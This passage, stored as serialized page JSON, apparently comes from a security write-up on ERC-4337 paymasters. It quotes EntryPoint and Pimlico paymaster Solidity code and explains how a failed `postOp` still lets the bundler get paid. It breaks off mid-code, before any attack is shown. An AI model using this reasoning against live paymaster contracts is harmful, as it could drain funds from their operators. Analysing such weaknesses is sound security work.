which passes ",{"type":24,"tag":154,"props":107473,"children":107475},{"className":107474},[],[107476],{"type":29,"value":107477},"postOpReverted",{"type":29,"value":107479}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":154,"props":107481,"children":107483},{"className":107482},[],[107484],{"type":29,"value":107469},{"type":29,"value":107486}," call ",{"type":24,"tag":897,"props":107488,"children":107489},{},[107490,107492],{"type":29,"value":107491},"inside ",{"type":24,"tag":154,"props":107493,"children":107495},{"className":107494},[],[107496],{"type":29,"value":106801},{"type":29,"value":347},{"type":24,"tag":25,"props":107499,"children":107500},{},[107501,107503,107508],{"type":29,"value":107502},"Let's examine the ",{"type":24,"tag":154,"props":107504,"children":107506},{"className":107505},[],[107507],{"type":29,"value":107469},{"type":29,"value":107509}," code to understand where the revert might occur.",{"type":24,"tag":147,"props":107511,"children":107513},{"className":6134,"code":107512,"language":6133,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[107514],{"type":24,"tag":154,"props":107515,"children":107516},{"__ignoreMap":7},[107517,107532,107557,107576,107595,107607,107644,107651,107683,107700,107715,107731,107755,107780,107804,107826,107844,107861,107869,107887,107903,107936,107954,107961,107968,107976,107992,108024,108046,108053,108060,108067],{"type":24,"tag":158,"props":107518,"children":107519},{"class":160,"line":161},[107520,107524,107528],{"type":24,"tag":158,"props":107521,"children":107522},{"style":165},[107523],{"type":29,"value":91109},{"type":24,"tag":158,"props":107525,"children":107526},{"style":496},[107527],{"type":29,"value":106710},{"type":24,"tag":158,"props":107529,"children":107530},{"style":188},[107531],{"type":29,"value":2156},{"type":24,"tag":158,"props":107533,"children":107534},{"class":160,"line":213},[107535,107540,107544,107548,107553],{"type":24,"tag":158,"props":107536,"children":107537},{"style":165},[107538],{"type":29,"value":107539}," IPaymaster",{"type":24,"tag":158,"props":107541,"children":107542},{"style":188},[107543],{"type":29,"value":347},{"type":24,"tag":158,"props":107545,"children":107546},{"style":177},[107547],{"type":29,"value":105070},{"type":24,"tag":158,"props":107549,"children":107550},{"style":177},[107551],{"type":29,"value":107552}," mode",{"type":24,"tag":158,"props":107554,"children":107555},{"style":188},[107556],{"type":29,"value":235},{"type":24,"tag":158,"props":107558,"children":107559},{"class":160,"line":238},[107560,107564,107568,107572],{"type":24,"tag":158,"props":107561,"children":107562},{"style":165},[107563],{"type":29,"value":106018},{"type":24,"tag":158,"props":107565,"children":107566},{"style":165},[107567],{"type":29,"value":104358},{"type":24,"tag":158,"props":107569,"children":107570},{"style":177},[107571],{"type":29,"value":107006},{"type":24,"tag":158,"props":107573,"children":107574},{"style":188},[107575],{"type":29,"value":235},{"type":24,"tag":158,"props":107577,"children":107578},{"class":160,"line":259},[107579,107583,107587,107591],{"type":24,"tag":158,"props":107580,"children":107581},{"style":171},[107582],{"type":29,"value":106977},{"type":24,"tag":158,"props":107584,"children":107585},{"style":165},[107586],{"type":29,"value":104358},{"type":24,"tag":158,"props":107588,"children":107589},{"style":177},[107590],{"type":29,"value":77618},{"type":24,"tag":158,"props":107592,"children":107593},{"style":188},[107594],{"type":29,"value":235},{"type":24,"tag":158,"props":107596,"children":107597},{"class":160,"line":280},[107598,107602],{"type":24,"tag":158,"props":107599,"children":107600},{"style":171},[107601],{"type":29,"value":91287},{"type":24,"tag":158,"props":107603,"children":107604},{"style":177},[107605],{"type":29,"value":107606}," actualGas\n",{"type":24,"tag":158,"props":107608,"children":107609},{"class":160,"line":301},[107610,107614,107619,107624,107628,107632,107636,107640],{"type":24,"tag":158,"props":107611,"children":107612},{"style":188},[107613],{"type":29,"value":107034},{"type":24,"tag":158,"props":107615,"children":107616},{"style":165},[107617],{"type":29,"value":107618},"internal",{"type":24,"tag":158,"props":107620,"children":107621},{"style":165},[107622],{"type":29,"value":107623}," virtual",{"type":24,"tag":158,"props":107625,"children":107626},{"style":1914},[107627],{"type":29,"value":77271},{"type":24,"tag":158,"props":107629,"children":107630},{"style":188},[107631],{"type":29,"value":2262},{"type":24,"tag":158,"props":107633,"children":107634},{"style":171},[107635],{"type":29,"value":47438},{"type":24,"tag":158,"props":107637,"children":107638},{"style":177},[107639],{"type":29,"value":105099},{"type":24,"tag":158,"props":107641,"children":107642},{"style":188},[107643],{"type":29,"value":16038},{"type":24,"tag":158,"props":107645,"children":107646},{"class":160,"line":626},[107647],{"type":24,"tag":158,"props":107648,"children":107649},{"style":188},[107650],{"type":29,"value":106079},{"type":24,"tag":158,"props":107652,"children":107653},{"class":160,"line":668},[107654,107658,107663,107667,107671,107675,107679],{"type":24,"tag":158,"props":107655,"children":107656},{"style":1914},[107657],{"type":29,"value":60074},{"type":24,"tag":158,"props":107659,"children":107660},{"style":188},[107661],{"type":29,"value":107662}," (paymaster ",{"type":24,"tag":158,"props":107664,"children":107665},{"style":222},[107666],{"type":29,"value":1034},{"type":24,"tag":158,"props":107668,"children":107669},{"style":171},[107670],{"type":29,"value":7899},{"type":24,"tag":158,"props":107672,"children":107673},{"style":188},[107674],{"type":29,"value":504},{"type":24,"tag":158,"props":107676,"children":107677},{"style":465},[107678],{"type":29,"value":5682},{"type":24,"tag":158,"props":107680,"children":107681},{"style":188},[107682],{"type":29,"value":36457},{"type":24,"tag":158,"props":107684,"children":107685},{"class":160,"line":676},[107686,107691,107695],{"type":24,"tag":158,"props":107687,"children":107688},{"style":188},[107689],{"type":29,"value":107690}," refundAddress ",{"type":24,"tag":158,"props":107692,"children":107693},{"style":222},[107694],{"type":29,"value":1285},{"type":24,"tag":158,"props":107696,"children":107697},{"style":188},[107698],{"type":29,"value":107699}," mUserOp.sender;\n",{"type":24,"tag":158,"props":107701,"children":107702},{"class":160,"line":684},[107703,107707,107711],{"type":24,"tag":158,"props":107704,"children":107705},{"style":188},[107706],{"type":29,"value":71870},{"type":24,"tag":158,"props":107708,"children":107709},{"style":1914},[107710],{"type":29,"value":4978},{"type":24,"tag":158,"props":107712,"children":107713},{"style":188},[107714],{"type":29,"value":210},{"type":24,"tag":158,"props":107716,"children":107717},{"class":160,"line":700},[107718,107722,107726],{"type":24,"tag":158,"props":107719,"children":107720},{"style":188},[107721],{"type":29,"value":107690},{"type":24,"tag":158,"props":107723,"children":107724},{"style":222},[107725],{"type":29,"value":1285},{"type":24,"tag":158,"props":107727,"children":107728},{"style":188},[107729],{"type":29,"value":107730}," paymaster;\n",{"type":24,"tag":158,"props":107732,"children":107733},{"class":160,"line":785},[107734,107738,107743,107747,107751],{"type":24,"tag":158,"props":107735,"children":107736},{"style":1914},[107737],{"type":29,"value":104798},{"type":24,"tag":158,"props":107739,"children":107740},{"style":188},[107741],{"type":29,"value":107742}," (context.length ",{"type":24,"tag":158,"props":107744,"children":107745},{"style":222},[107746],{"type":29,"value":1280},{"type":24,"tag":158,"props":107748,"children":107749},{"style":465},[107750],{"type":29,"value":2025},{"type":24,"tag":158,"props":107752,"children":107753},{"style":188},[107754],{"type":29,"value":16038},{"type":24,"tag":158,"props":107756,"children":107757},{"class":160,"line":1447},[107758,107763,107767,107771,107775],{"type":24,"tag":158,"props":107759,"children":107760},{"style":188},[107761],{"type":29,"value":107762}," actualGasCost ",{"type":24,"tag":158,"props":107764,"children":107765},{"style":222},[107766],{"type":29,"value":1285},{"type":24,"tag":158,"props":107768,"children":107769},{"style":188},[107770],{"type":29,"value":106570},{"type":24,"tag":158,"props":107772,"children":107773},{"style":222},[107774],{"type":29,"value":577},{"type":24,"tag":158,"props":107776,"children":107777},{"style":188},[107778],{"type":29,"value":107779}," gasPrice;\n",{"type":24,"tag":158,"props":107781,"children":107782},{"class":160,"line":1509},[107783,107787,107792,107796,107800],{"type":24,"tag":158,"props":107784,"children":107785},{"style":171},[107786],{"type":29,"value":104755},{"type":24,"tag":158,"props":107788,"children":107789},{"style":188},[107790],{"type":29,"value":107791}," postOpPreGas ",{"type":24,"tag":158,"props":107793,"children":107794},{"style":222},[107795],{"type":29,"value":1285},{"type":24,"tag":158,"props":107797,"children":107798},{"style":165},[107799],{"type":29,"value":106588},{"type":24,"tag":158,"props":107801,"children":107802},{"style":188},[107803],{"type":29,"value":5329},{"type":24,"tag":158,"props":107805,"children":107806},{"class":160,"line":1527},[107807,107812,107817,107821],{"type":24,"tag":158,"props":107808,"children":107809},{"style":1914},[107810],{"type":29,"value":107811}," if",{"type":24,"tag":158,"props":107813,"children":107814},{"style":188},[107815],{"type":29,"value":107816}," (mode ",{"type":24,"tag":158,"props":107818,"children":107819},{"style":222},[107820],{"type":29,"value":16924},{"type":24,"tag":158,"props":107822,"children":107823},{"style":188},[107824],{"type":29,"value":107825}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":158,"props":107827,"children":107828},{"class":160,"line":1545},[107829,107834,107839],{"type":24,"tag":158,"props":107830,"children":107831},{"style":1914},[107832],{"type":29,"value":107833}," try",{"type":24,"tag":158,"props":107835,"children":107836},{"style":496},[107837],{"type":29,"value":107838}," IPaymaster",{"type":24,"tag":158,"props":107840,"children":107841},{"style":188},[107842],{"type":29,"value":107843},"(paymaster).postOp{\n",{"type":24,"tag":158,"props":107845,"children":107846},{"class":160,"line":1618},[107847,107852,107856],{"type":24,"tag":158,"props":107848,"children":107849},{"style":188},[107850],{"type":29,"value":107851}," gas",{"type":24,"tag":158,"props":107853,"children":107854},{"style":222},[107855],{"type":29,"value":225},{"type":24,"tag":158,"props":107857,"children":107858},{"style":188},[107859],{"type":29,"value":107860}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":158,"props":107862,"children":107863},{"class":160,"line":1635},[107864],{"type":24,"tag":158,"props":107865,"children":107866},{"style":188},[107867],{"type":29,"value":107868}," }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":158,"props":107870,"children":107871},{"class":160,"line":1644},[107872,107877,107882],{"type":24,"tag":158,"props":107873,"children":107874},{"style":2588},[107875],{"type":29,"value":107876}," // ",{"type":24,"tag":158,"props":107878,"children":107879},{"style":165},[107880],{"type":29,"value":107881},"solhint-disable",{"type":24,"tag":158,"props":107883,"children":107884},{"style":2588},[107885],{"type":29,"value":107886},"-next-line no-empty-blocks\n",{"type":24,"tag":158,"props":107888,"children":107889},{"class":160,"line":1652},[107890,107895,107899],{"type":24,"tag":158,"props":107891,"children":107892},{"style":188},[107893],{"type":29,"value":107894}," {} ",{"type":24,"tag":158,"props":107896,"children":107897},{"style":1914},[107898],{"type":29,"value":49682},{"type":24,"tag":158,"props":107900,"children":107901},{"style":188},[107902],{"type":29,"value":210},{"type":24,"tag":158,"props":107904,"children":107905},{"class":160,"line":1704},[107906,107911,107915,107920,107924,107928,107932],{"type":24,"tag":158,"props":107907,"children":107908},{"style":171},[107909],{"type":29,"value":107910}," bytes",{"type":24,"tag":158,"props":107912,"children":107913},{"style":165},[107914],{"type":29,"value":104358},{"type":24,"tag":158,"props":107916,"children":107917},{"style":188},[107918],{"type":29,"value":107919}," reason ",{"type":24,"tag":158,"props":107921,"children":107922},{"style":222},[107923],{"type":29,"value":1285},{"type":24,"tag":158,"props":107925,"children":107926},{"style":188},[107927],{"type":29,"value":107129},{"type":24,"tag":158,"props":107929,"children":107930},{"style":496},[107931],{"type":29,"value":107220},{"type":24,"tag":158,"props":107933,"children":107934},{"style":188},[107935],{"type":29,"value":107225},{"type":24,"tag":158,"props":107937,"children":107938},{"class":160,"line":1713},[107939,107944,107949],{"type":24,"tag":158,"props":107940,"children":107941},{"style":1914},[107942],{"type":29,"value":107943}," revert",{"type":24,"tag":158,"props":107945,"children":107946},{"style":496},[107947],{"type":29,"value":107948}," PostOpReverted",{"type":24,"tag":158,"props":107950,"children":107951},{"style":188},[107952],{"type":29,"value":107953},"(reason);\n",{"type":24,"tag":158,"props":107955,"children":107956},{"class":160,"line":1731},[107957],{"type":24,"tag":158,"props":107958,"children":107959},{"style":188},[107960],{"type":29,"value":72254},{"type":24,"tag":158,"props":107962,"children":107963},{"class":160,"line":5485},[107964],{"type":24,"tag":158,"props":107965,"children":107966},{"style":188},[107967],{"type":29,"value":72339},{"type":24,"tag":158,"props":107969,"children":107970},{"class":160,"line":5493},[107971],{"type":24,"tag":158,"props":107972,"children":107973},{"style":2588},[107974],{"type":29,"value":107975}," // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":158,"props":107977,"children":107978},{"class":160,"line":5553},[107979,107983,107987],{"type":24,"tag":158,"props":107980,"children":107981},{"style":2588},[107982],{"type":29,"value":104820},{"type":24,"tag":158,"props":107984,"children":107985},{"style":165},[107986],{"type":29,"value":68034},{"type":24,"tag":158,"props":107988,"children":107989},{"style":2588},[107990],{"type":29,"value":107991}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":158,"props":107993,"children":107994},{"class":160,"line":10636},[107995,107999,108004,108008,108012,108016,108020],{"type":24,"tag":158,"props":107996,"children":107997},{"style":171},[107998],{"type":29,"value":104755},{"type":24,"tag":158,"props":108000,"children":108001},{"style":188},[108002],{"type":29,"value":108003}," postOpGasUsed ",{"type":24,"tag":158,"props":108005,"children":108006},{"style":222},[108007],{"type":29,"value":1285},{"type":24,"tag":158,"props":108009,"children":108010},{"style":188},[108011],{"type":29,"value":107791},{"type":24,"tag":158,"props":108013,"children":108014},{"style":222},[108015],{"type":29,"value":5987},{"type":24,"tag":158,"props":108017,"children":108018},{"style":165},[108019],{"type":29,"value":106588},{"type":24,"tag":158,"props":108021,"children":108022},{"style":188},[108023],{"type":29,"value":5329},{"type":24,"tag":158,"props":108025,"children":108026},{"class":160,"line":10652},[108027,108032,108036,108041],{"type":24,"tag":158,"props":108028,"children":108029},{"style":188},[108030],{"type":29,"value":108031}," postOpUnusedGasPenalty ",{"type":24,"tag":158,"props":108033,"children":108034},{"style":222},[108035],{"type":29,"value":1285},{"type":24,"tag":158,"props":108037,"children":108038},{"style":496},[108039],{"type":29,"value":108040}," _getUnusedGasPenalty",{"type":24,"tag":158,"props":108042,"children":108043},{"style":188},[108044],{"type":29,"value":108045},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":158,"props":108047,"children":108048},{"class":160,"line":10696},[108049],{"type":24,"tag":158,"props":108050,"children":108051},{"style":188},[108052],{"type":29,"value":72347},{"type":24,"tag":158,"props":108054,"children":108055},{"class":160,"line":10801},[108056],{"type":24,"tag":158,"props":108057,"children":108058},{"style":188},[108059],{"type":29,"value":60158},{"type":24,"tag":158,"props":108061,"children":108062},{"class":160,"line":24754},[108063],{"type":24,"tag":158,"props":108064,"children":108065},{"style":188},[108066],{"type":29,"value":106079},{"type":24,"tag":158,"props":108068,"children":108069},{"class":160,"line":24789},[108070],{"type":24,"tag":158,"props":108071,"children":108072},{"style":188},[108073],{"type":29,"value":3967},{"type":24,"tag":25,"props":108075,"children":108076},{},[108077,108079,108084,108086,108092,108094,108100,108102,108107,108109,108114,108116,108121,108123,108128,108130,108135,108137,108142],{"type":29,"value":108078},"It turns out that if the ",{"type":24,"tag":154,"props":108080,"children":108082},{"className":108081},[],[108083],{"type":29,"value":103659},{"type":29,"value":108085}," call fails, it will revert with ",{"type":24,"tag":154,"props":108087,"children":108089},{"className":108088},[],[108090],{"type":29,"value":108091},"PostOpReverted",{"type":29,"value":108093},". However, as we can see in the previous code of ",{"type":24,"tag":154,"props":108095,"children":108097},{"className":108096},[],[108098],{"type":29,"value":108099},"_executeUserOp",{"type":29,"value":108101},", even though ",{"type":24,"tag":154,"props":108103,"children":108105},{"className":108104},[],[108106],{"type":29,"value":106801},{"type":29,"value":108108}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":154,"props":108110,"children":108112},{"className":108111},[],[108113],{"type":29,"value":107469},{"type":29,"value":108115}," call with ",{"type":24,"tag":154,"props":108117,"children":108119},{"className":108118},[],[108120],{"type":29,"value":107477},{"type":29,"value":108122}," mode, and it won't try to call ",{"type":24,"tag":154,"props":108124,"children":108126},{"className":108125},[],[108127],{"type":29,"value":103659},{"type":29,"value":108129}," again. This means the ",{"type":24,"tag":154,"props":108131,"children":108133},{"className":108132},[],[108134],{"type":29,"value":103520},{"type":29,"value":108136}," still gets paid for submitting the failed ",{"type":24,"tag":154,"props":108138,"children":108140},{"className":108139},[],[108141],{"type":29,"value":103460},{"type":29,"value":347},{"type":24,"tag":25,"props":108144,"children":108145},{},[108146,108148,108153,108155,108160,108162,108169],{"type":29,"value":108147},"Now that we understand this behavior where ",{"type":24,"tag":154,"props":108149,"children":108151},{"className":108150},[],[108152],{"type":29,"value":103659},{"type":29,"value":108154}," is allowed to fail while the ",{"type":24,"tag":154,"props":108156,"children":108158},{"className":108157},[],[108159],{"type":29,"value":103520},{"type":29,"value":108161}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":101,"props":108163,"children":108166},{"href":108164,"rel":108165},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[105],[108167],{"type":29,"value":108168},"Pimlico",{"type":29,"value":347},{"type":24,"tag":147,"props":108171,"children":108173},{"className":6134,"code":108172,"language":6133,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[108174],{"type":24,"tag":154,"props":108175,"children":108176},{"__ignoreMap":7},[108177,108192,108209,108229,108245,108257,108264,108271,108278,108309,108316,108341,108349,108356,108363,108392,108399,108415,108437,108444,108460,108510,108517,108533,108541,108574,108607,108615,108622,108629,108672,108679,108728,108754,108761,108768,108785],{"type":24,"tag":158,"props":108178,"children":108179},{"class":160,"line":161},[108180,108184,108188],{"type":24,"tag":158,"props":108181,"children":108182},{"style":165},[108183],{"type":29,"value":91109},{"type":24,"tag":158,"props":108185,"children":108186},{"style":496},[108187],{"type":29,"value":105061},{"type":24,"tag":158,"props":108189,"children":108190},{"style":188},[108191],{"type":29,"value":2156},{"type":24,"tag":158,"props":108193,"children":108194},{"class":160,"line":213},[108195,108200,108204],{"type":24,"tag":158,"props":108196,"children":108197},{"style":165},[108198],{"type":29,"value":108199}," PostOpMode",{"type":24,"tag":158,"props":108201,"children":108202},{"style":188},[108203],{"type":29,"value":191},{"type":24,"tag":158,"props":108205,"children":108206},{"style":2588},[108207],{"type":29,"value":108208},"/* mode */\n",{"type":24,"tag":158,"props":108210,"children":108211},{"class":160,"line":238},[108212,108216,108220,108225],{"type":24,"tag":158,"props":108213,"children":108214},{"style":171},[108215],{"type":29,"value":106977},{"type":24,"tag":158,"props":108217,"children":108218},{"style":165},[108219],{"type":29,"value":104290},{"type":24,"tag":158,"props":108221,"children":108222},{"style":177},[108223],{"type":29,"value":108224}," _context",{"type":24,"tag":158,"props":108226,"children":108227},{"style":188},[108228],{"type":29,"value":235},{"type":24,"tag":158,"props":108230,"children":108231},{"class":160,"line":259},[108232,108236,108241],{"type":24,"tag":158,"props":108233,"children":108234},{"style":171},[108235],{"type":29,"value":91287},{"type":24,"tag":158,"props":108237,"children":108238},{"style":177},[108239],{"type":29,"value":108240}," _actualGasCost",{"type":24,"tag":158,"props":108242,"children":108243},{"style":188},[108244],{"type":29,"value":235},{"type":24,"tag":158,"props":108246,"children":108247},{"class":160,"line":280},[108248,108252],{"type":24,"tag":158,"props":108249,"children":108250},{"style":171},[108251],{"type":29,"value":91287},{"type":24,"tag":158,"props":108253,"children":108254},{"style":177},[108255],{"type":29,"value":108256}," _actualUserOpFeePerGas\n",{"type":24,"tag":158,"props":108258,"children":108259},{"class":160,"line":301},[108260],{"type":24,"tag":158,"props":108261,"children":108262},{"style":188},[108263],{"type":29,"value":25175},{"type":24,"tag":158,"props":108265,"children":108266},{"class":160,"line":626},[108267],{"type":24,"tag":158,"props":108268,"children":108269},{"style":165},[108270],{"type":29,"value":104329},{"type":24,"tag":158,"props":108272,"children":108273},{"class":160,"line":668},[108274],{"type":24,"tag":158,"props":108275,"children":108276},{"style":188},[108277],{"type":29,"value":30446},{"type":24,"tag":158,"props":108279,"children":108280},{"class":160,"line":676},[108281,108286,108290,108295,108299,108304],{"type":24,"tag":158,"props":108282,"children":108283},{"style":188},[108284],{"type":29,"value":108285}," ERC20PostOpContext ",{"type":24,"tag":158,"props":108287,"children":108288},{"style":165},[108289],{"type":29,"value":77250},{"type":24,"tag":158,"props":108291,"children":108292},{"style":188},[108293],{"type":29,"value":108294}," ctx ",{"type":24,"tag":158,"props":108296,"children":108297},{"style":222},[108298],{"type":29,"value":1285},{"type":24,"tag":158,"props":108300,"children":108301},{"style":496},[108302],{"type":29,"value":108303}," _parsePostOpContext",{"type":24,"tag":158,"props":108305,"children":108306},{"style":188},[108307],{"type":29,"value":108308},"(_context);\n",{"type":24,"tag":158,"props":108310,"children":108311},{"class":160,"line":684},[108312],{"type":24,"tag":158,"props":108313,"children":108314},{"emptyLinePlaceholder":16},[108315],{"type":29,"value":481},{"type":24,"tag":158,"props":108317,"children":108318},{"class":160,"line":700},[108319,108323,108328,108332,108337],{"type":24,"tag":158,"props":108320,"children":108321},{"style":171},[108322],{"type":29,"value":91287},{"type":24,"tag":158,"props":108324,"children":108325},{"style":188},[108326],{"type":29,"value":108327}," expectedPenaltyGasCost ",{"type":24,"tag":158,"props":108329,"children":108330},{"style":222},[108331],{"type":29,"value":1285},{"type":24,"tag":158,"props":108333,"children":108334},{"style":496},[108335],{"type":29,"value":108336}," _expectedPenaltyGasCost",{"type":24,"tag":158,"props":108338,"children":108339},{"style":188},[108340],{"type":29,"value":2156},{"type":24,"tag":158,"props":108342,"children":108343},{"class":160,"line":785},[108344],{"type":24,"tag":158,"props":108345,"children":108346},{"style":188},[108347],{"type":29,"value":108348}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":158,"props":108350,"children":108351},{"class":160,"line":1447},[108352],{"type":24,"tag":158,"props":108353,"children":108354},{"style":188},[108355],{"type":29,"value":9384},{"type":24,"tag":158,"props":108357,"children":108358},{"class":160,"line":1509},[108359],{"type":24,"tag":158,"props":108360,"children":108361},{"emptyLinePlaceholder":16},[108362],{"type":29,"value":481},{"type":24,"tag":158,"props":108364,"children":108365},{"class":160,"line":1527},[108366,108370,108374,108378,108383,108387],{"type":24,"tag":158,"props":108367,"children":108368},{"style":171},[108369],{"type":29,"value":91287},{"type":24,"tag":158,"props":108371,"children":108372},{"style":188},[108373],{"type":29,"value":105385},{"type":24,"tag":158,"props":108375,"children":108376},{"style":222},[108377],{"type":29,"value":1285},{"type":24,"tag":158,"props":108379,"children":108380},{"style":188},[108381],{"type":29,"value":108382}," _actualGasCost ",{"type":24,"tag":158,"props":108384,"children":108385},{"style":222},[108386],{"type":29,"value":728},{"type":24,"tag":158,"props":108388,"children":108389},{"style":188},[108390],{"type":29,"value":108391}," expectedPenaltyGasCost;\n",{"type":24,"tag":158,"props":108393,"children":108394},{"class":160,"line":1545},[108395],{"type":24,"tag":158,"props":108396,"children":108397},{"emptyLinePlaceholder":16},[108398],{"type":29,"value":481},{"type":24,"tag":158,"props":108400,"children":108401},{"class":160,"line":1618},[108402,108406,108411],{"type":24,"tag":158,"props":108403,"children":108404},{"style":171},[108405],{"type":29,"value":91287},{"type":24,"tag":158,"props":108407,"children":108408},{"style":188},[108409],{"type":29,"value":108410}," costInToken ",{"type":24,"tag":158,"props":108412,"children":108413},{"style":222},[108414],{"type":29,"value":15927},{"type":24,"tag":158,"props":108416,"children":108417},{"class":160,"line":1635},[108418,108423,108428,108432],{"type":24,"tag":158,"props":108419,"children":108420},{"style":496},[108421],{"type":29,"value":108422}," getCostInToken",{"type":24,"tag":158,"props":108424,"children":108425},{"style":188},[108426],{"type":29,"value":108427},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":158,"props":108429,"children":108430},{"style":222},[108431],{"type":29,"value":728},{"type":24,"tag":158,"props":108433,"children":108434},{"style":188},[108435],{"type":29,"value":108436}," ctx.constantFee;\n",{"type":24,"tag":158,"props":108438,"children":108439},{"class":160,"line":1644},[108440],{"type":24,"tag":158,"props":108441,"children":108442},{"emptyLinePlaceholder":16},[108443],{"type":29,"value":481},{"type":24,"tag":158,"props":108445,"children":108446},{"class":160,"line":1652},[108447,108451,108456],{"type":24,"tag":158,"props":108448,"children":108449},{"style":171},[108450],{"type":29,"value":91287},{"type":24,"tag":158,"props":108452,"children":108453},{"style":188},[108454],{"type":29,"value":108455}," absoluteCostInToken ",{"type":24,"tag":158,"props":108457,"children":108458},{"style":222},[108459],{"type":29,"value":15927},{"type":24,"tag":158,"props":108461,"children":108462},{"class":160,"line":1704},[108463,108468,108472,108477,108481,108485,108489,108493,108497,108501,108505],{"type":24,"tag":158,"props":108464,"children":108465},{"style":188},[108466],{"type":29,"value":108467}," costInToken ",{"type":24,"tag":158,"props":108469,"children":108470},{"style":222},[108471],{"type":29,"value":1280},{"type":24,"tag":158,"props":108473,"children":108474},{"style":188},[108475],{"type":29,"value":108476}," ctx.preFundCharged ",{"type":24,"tag":158,"props":108478,"children":108479},{"style":222},[108480],{"type":29,"value":4820},{"type":24,"tag":158,"props":108482,"children":108483},{"style":188},[108484],{"type":29,"value":108410},{"type":24,"tag":158,"props":108486,"children":108487},{"style":222},[108488],{"type":29,"value":5987},{"type":24,"tag":158,"props":108490,"children":108491},{"style":188},[108492],{"type":29,"value":108476},{"type":24,"tag":158,"props":108494,"children":108495},{"style":222},[108496],{"type":29,"value":225},{"type":24,"tag":158,"props":108498,"children":108499},{"style":188},[108500],{"type":29,"value":108476},{"type":24,"tag":158,"props":108502,"children":108503},{"style":222},[108504],{"type":29,"value":5987},{"type":24,"tag":158,"props":108506,"children":108507},{"style":188},[108508],{"type":29,"value":108509}," costInToken;\n",{"type":24,"tag":158,"props":108511,"children":108512},{"class":160,"line":1713},[108513],{"type":24,"tag":158,"props":108514,"children":108515},{"emptyLinePlaceholder":16},[108516],{"type":29,"value":481},{"type":24,"tag":158,"props":108518,"children":108519},{"class":160,"line":1731},[108520,108525,108529],{"type":24,"tag":158,"props":108521,"children":108522},{"style":188},[108523],{"type":29,"value":108524}," SafeTransferLib.",{"type":24,"tag":158,"props":108526,"children":108527},{"style":496},[108528],{"type":29,"value":104916},{"type":24,"tag":158,"props":108530,"children":108531},{"style":188},[108532],{"type":29,"value":2156},{"type":24,"tag":158,"props":108534,"children":108535},{"class":160,"line":5485},[108536],{"type":24,"tag":158,"props":108537,"children":108538},{"style":188},[108539],{"type":29,"value":108540}," ctx.token,\n",{"type":24,"tag":158,"props":108542,"children":108543},{"class":160,"line":5493},[108544,108548,108552,108556,108560,108565,108569],{"type":24,"tag":158,"props":108545,"children":108546},{"style":188},[108547],{"type":29,"value":108467},{"type":24,"tag":158,"props":108549,"children":108550},{"style":222},[108551],{"type":29,"value":1280},{"type":24,"tag":158,"props":108553,"children":108554},{"style":188},[108555],{"type":29,"value":108476},{"type":24,"tag":158,"props":108557,"children":108558},{"style":222},[108559],{"type":29,"value":4820},{"type":24,"tag":158,"props":108561,"children":108562},{"style":188},[108563],{"type":29,"value":108564}," ctx.sender ",{"type":24,"tag":158,"props":108566,"children":108567},{"style":222},[108568],{"type":29,"value":225},{"type":24,"tag":158,"props":108570,"children":108571},{"style":188},[108572],{"type":29,"value":108573}," 